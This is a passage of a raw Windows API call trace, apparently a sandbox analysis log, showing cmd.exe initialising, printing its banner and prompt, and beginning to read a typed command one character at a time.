lpAddress=0x1d1000, lpBuffer=0x2cfcf0, dwLength=0x30 | out: lpBuffer=0x2cfcf0*(BaseAddress=0x1d1000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0193.742] VirtualQuery (in: lpAddress=0x1d4000, lpBuffer=0x2cfcf0, dwLength=0x30 | out: lpBuffer=0x2cfcf0*(BaseAddress=0x1d4000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0193.742] VirtualQuery (in: lpAddress=0x2d0000, lpBuffer=0x2cfcf0, dwLength=0x30 | out: lpBuffer=0x2cfcf0*(BaseAddress=0x2d0000, AllocationBase=0x2d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0193.742] GetConsoleOutputCP () returned 0x1b5 [0193.743] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a1fbfe0 | out: lpCPInfo=0x4a1fbfe0) returned 1 [0193.745] SetConsoleCtrlHandler (HandlerRoutine=0x4a1e3184, Add=1) returned 1 [0193.745] _get_osfhandle (_FileHandle=1) returned 0xf4 [0193.745] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0193.746] _get_osfhandle (_FileHandle=1) returned 0xf4 [0193.746] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a1ee194 | out: lpMode=0x4a1ee194) returned 0 [0193.747] _get_osfhandle (_FileHandle=0) returned 0xe8 [0193.747] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a1ee198 | out: lpMode=0x4a1ee198) returned 0 [0193.747] GetEnvironmentStringsW () returned 0x408aa0* [0193.748] GetProcessHeap () returned 0x3f0000 [0193.748] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xab4) returned 0x409560 [0193.748] FreeEnvironmentStringsW (penv=0x408aa0) returned 1 [0193.749] GetProcessHeap () returned 0x3f0000 [0193.749] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8) returned 0x408920 [0193.749] GetEnvironmentStringsW () returned 0x408aa0* [0193.749] GetProcessHeap () returned 0x3f0000 [0193.749] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xab4) returned 0x40a020 [0193.749] FreeEnvironmentStringsW (penv=0x408aa0) returned 1 [0193.750] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2cec48 | out: phkResult=0x2cec48*=0x44) returned 0x0 [0193.877] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x0, lpData=0x2cec60*=0x18, lpcbData=0x2cec44*=0x1000) returned 0x2 [0193.877] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x4, lpData=0x2cec60*=0x1, lpcbData=0x2cec44*=0x4) returned 0x0 [0193.877] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x0, lpData=0x2cec60*=0x1, lpcbData=0x2cec44*=0x1000) returned 0x2 [0193.877] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x4, lpData=0x2cec60*=0x0, lpcbData=0x2cec44*=0x4) returned 0x0 [0193.877] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x4, lpData=0x2cec60*=0x40, lpcbData=0x2cec44*=0x4) returned 0x0 [0193.878] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x4, lpData=0x2cec60*=0x40, lpcbData=0x2cec44*=0x4) returned 0x0 [0193.878] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x0, lpData=0x2cec60*=0x40, lpcbData=0x2cec44*=0x1000) returned 0x2 [0193.878] RegCloseKey (hKey=0x44) returned 0x0 [0193.878] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2cec48 | out: phkResult=0x2cec48*=0x44) returned 0x0 [0193.878] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x0, lpData=0x2cec60*=0x40, lpcbData=0x2cec44*=0x1000) returned 0x2 [0193.878] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x4, lpData=0x2cec60*=0x1, lpcbData=0x2cec44*=0x4) returned 0x0 [0193.878] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x0, lpData=0x2cec60*=0x1, lpcbData=0x2cec44*=0x1000) returned 0x2 [0193.879] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x4, lpData=0x2cec60*=0x0, lpcbData=0x2cec44*=0x4) returned 0x0 [0193.879] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x4, lpData=0x2cec60*=0x9, lpcbData=0x2cec44*=0x4) returned 0x0 [0193.879] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x4, lpData=0x2cec60*=0x9, lpcbData=0x2cec44*=0x4) returned 0x0 [0193.879] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2cec40, lpData=0x2cec60, lpcbData=0x2cec44*=0x1000 | out: lpType=0x2cec40*=0x0, lpData=0x2cec60*=0x9, lpcbData=0x2cec44*=0x1000) returned 0x2 [0193.879] RegCloseKey (hKey=0x44) returned 0x0 [0193.880] time (in: timer=0x0 | out: timer=0x0) returned 0x5e281579 [0193.880] srand (_Seed=0x5e281579) [0193.880] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0193.880] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0193.915] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a1fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0193.916] GetProcessHeap () returned 0x3f0000 [0193.916] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x218) returned 0x40aae0 [0193.916] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x40aaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0193.917] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a1ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0193.917] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a1ef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0193.917] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a1ef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0193.917] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0193.917] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0193.917] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0193.917] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0193.917] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0193.917] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0193.918] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0193.918] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0193.918] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0193.918] GetProcessHeap () returned 0x3f0000 [0193.918] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x409560 | out: hHeap=0x3f0000) returned 1 [0193.918] GetEnvironmentStringsW () returned 0x408aa0* [0193.918] GetProcessHeap () returned 0x3f0000 [0193.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xacc) returned 0x40ad00 [0193.919] FreeEnvironmentStringsW (penv=0x408aa0) returned 1 [0193.919] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a1ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0193.919] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a1ef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0193.919] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0193.919] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0193.919] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0193.920] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0193.920] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0193.920] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0193.920] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0193.920] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0193.920] GetProcessHeap () returned 0x3f0000 [0193.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x4064d0 [0193.920] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2cfa50 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0193.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x2cfa50, lpFilePart=0x2cfa30 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2cfa30*="system32") returned 0x13 [0193.921] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0193.921] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x2cf760 | out: lpFindFileData=0x2cf760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="Windows", cAlternateFileName="")) returned 0x40b7e0 [0193.921] FindClose (in: hFindFile=0x40b7e0 | out: hFindFile=0x40b7e0) returned 1 [0193.922] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x2cf760 | out: lpFindFileData=0x2cf760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc732f1c0, ftLastAccessTime.dwHighDateTime=0x1d5d105, ftLastWriteTime.dwLowDateTime=0xc732f1c0, ftLastWriteTime.dwHighDateTime=0x1d5d105, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="System32", cAlternateFileName="")) returned 0x40b7e0 [0193.922] FindClose (in: hFindFile=0x40b7e0 | out: hFindFile=0x40b7e0) returned 1 [0193.922] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0193.922] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0193.922] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0193.922] GetProcessHeap () returned 0x3f0000 [0193.923] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ad00 | out: hHeap=0x3f0000) returned 1 [0193.923] GetEnvironmentStringsW () returned 0x40ad00* [0193.923] GetProcessHeap () returned 0x3f0000 [0193.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xafc) returned 0x408aa0 [0193.923] FreeEnvironmentStringsW (penv=0x40ad00) returned 1 [0193.923] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a1fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0193.923] GetProcessHeap () returned 0x3f0000 [0193.923] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x4064d0 | out: hHeap=0x3f0000) returned 1 [0193.923] GetProcessHeap () returned 0x3f0000 [0193.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4016) returned 0x40ad00 [0193.925] GetProcessHeap () returned 0x3f0000 [0193.925] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ad00 | out: hHeap=0x3f0000) returned 1 [0193.925] GetConsoleOutputCP () returned 0x1b5 [0194.171] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a1fbfe0 | out: lpCPInfo=0x4a1fbfe0) returned 1 [0194.171] GetUserDefaultLCID () returned 0x409 [0194.303] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a1f7b50, cchData=8 | out: lpLCData=":") returned 2 [0194.303] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2cfb60, cchData=128 | out: lpLCData="0") returned 2 [0194.303] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2cfb60, cchData=128 | out: lpLCData="0") returned 2 [0194.303] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2cfb60, cchData=128 | out: lpLCData="1") returned 2 [0194.304] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a20a740, cchData=8 | out: lpLCData="/") returned 2 [0194.304] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a20a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0194.305] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a20a460, cchData=32 | out: lpLCData="Tue") returned 4 [0194.305] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a20a420, cchData=32 | out: lpLCData="Wed") returned 4 [0194.305] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a20a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0194.305] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a20a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0194.305] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a20a360, cchData=32 | out: lpLCData="Sat") returned 4 [0194.305] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a20a700, cchData=32 | out: lpLCData="Sun") returned 4 [0194.305] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a1f7b40, cchData=8 | out: lpLCData=".") returned 2 [0194.305] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a20a4e0, cchData=8 | out: lpLCData=",") returned 2 [0194.305] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0194.308] GetProcessHeap () returned 0x3f0000 [0194.308] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x20c) returned 0x409620 [0194.308] GetConsoleTitleW (in: lpConsoleTitle=0x409620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0194.535] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.535] GetFileType (hFile=0xf4) returned 0x3 [0194.537] BrandingFormatString () returned 0x409840 [0194.555] GetVersion () returned 0x1db10106 [0194.555] _vsnwprintf (in: _Buffer=0x2cfcd0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x2cfc68 | out: _Buffer="6.1.7601") returned 8 [0194.555] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.555] GetFileType (hFile=0xf4) returned 0x3 [0194.555] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a206340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0194.558] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a206340, nSize=0x2000, Arguments=0x2cfc70 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0194.558] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0194.559] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x2cfbf8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cfbf8*=0x24, lpOverlapped=0x0) returned 1 [0194.559] _vsnwprintf (in: _Buffer=0x4a206340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cfc98 | out: _Buffer="\r\n") returned 2 [0194.559] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.559] GetFileType (hFile=0xf4) returned 0x3 [0194.560] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.560] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0194.560] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cfc68, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cfc68*=0x2, lpOverlapped=0x0) returned 1 [0194.560] _vsnwprintf (in: _Buffer=0x4a206340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x2cfc98 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0194.560] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.560] GetFileType (hFile=0xf4) returned 0x3 [0194.561] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0194.561] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2cfc68, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cfc68*=0x3f, lpOverlapped=0x0) returned 1 [0194.561] _vsnwprintf (in: _Buffer=0x4a206340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cfc98 | out: _Buffer="\r\n") returned 2 [0194.561] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.561] GetFileType (hFile=0xf4) returned 0x3 [0194.562] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0194.562] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cfc68, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cfc68*=0x2, lpOverlapped=0x0) returned 1 [0194.563] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77290000 [0194.563] GetProcAddress (hModule=0x77290000, lpProcName="CopyFileExW") returned 0x772a23d0 [0194.563] GetProcAddress (hModule=0x77290000, lpProcName="IsDebuggerPresent") returned 0x77298290 [0194.563] GetProcAddress (hModule=0x77290000, lpProcName="SetConsoleInputExeNameW") returned 0x772a17e0 [0194.563] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.563] GetFileType (hFile=0xe8) returned 0x3 [0194.564] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0194.565] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x2cfac0 | out: TokenHandle=0x2cfac0*=0x0) returned 0xc000007c [0194.565] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2cfac0 | out: TokenHandle=0x2cfac0*=0x50) returned 0x0 [0194.565] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x2cfad0, TokenInformationLength=0x4, ReturnLength=0x2cfad8 | out: TokenInformation=0x2cfad0, ReturnLength=0x2cfad8) returned 0x0 [0194.568] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x2cfad8, TokenInformationLength=0x4, ReturnLength=0x2cfad0 | out: TokenInformation=0x2cfad8, ReturnLength=0x2cfad0) returned 0x0 [0194.568] NtClose (Handle=0x50) returned 0x0 [0194.568] GetProcessHeap () returned 0x3f0000 [0194.568] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40aae0 | out: hHeap=0x3f0000) returned 1 [0195.025] _vsnwprintf (in: _Buffer=0x4a206340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf7d8 | out: _Buffer="\r\n") returned 2 [0195.025] _get_osfhandle (_FileHandle=1) returned 0xf4 [0195.025] GetFileType (hFile=0xf4) returned 0x3 [0195.026] _get_osfhandle (_FileHandle=1) returned 0xf4 [0195.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0195.026] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cf7a8*=0x2, lpOverlapped=0x0) returned 1 [0195.026] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a1ef360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0195.026] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a1fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0195.026] _vsnwprintf (in: _Buffer=0x4a1eeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf7e8 | out: _Buffer="C:\\Windows\\system32") returned 19 [0195.027] _vsnwprintf (in: _Buffer=0x4a1eeb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x2cf7e8 | out: _Buffer=">") returned 1 [0195.027] _get_osfhandle (_FileHandle=1) returned 0xf4 [0195.027] GetFileType (hFile=0xf4) returned 0x3 [0195.027] _get_osfhandle (_FileHandle=1) returned 0xf4 [0195.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0195.027] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2cf7d8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cf7d8*=0x14, lpOverlapped=0x0) returned 1 [0195.028] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.028] GetFileType (hFile=0xe8) returned 0x3 [0195.028] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.028] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.028] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.028] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0195.029] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.029] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.029] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.029] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0195.029] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.029] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.029] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0195.030] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.030] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.030] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0195.030] _get_osfhandle (_FileHandle=0) returned 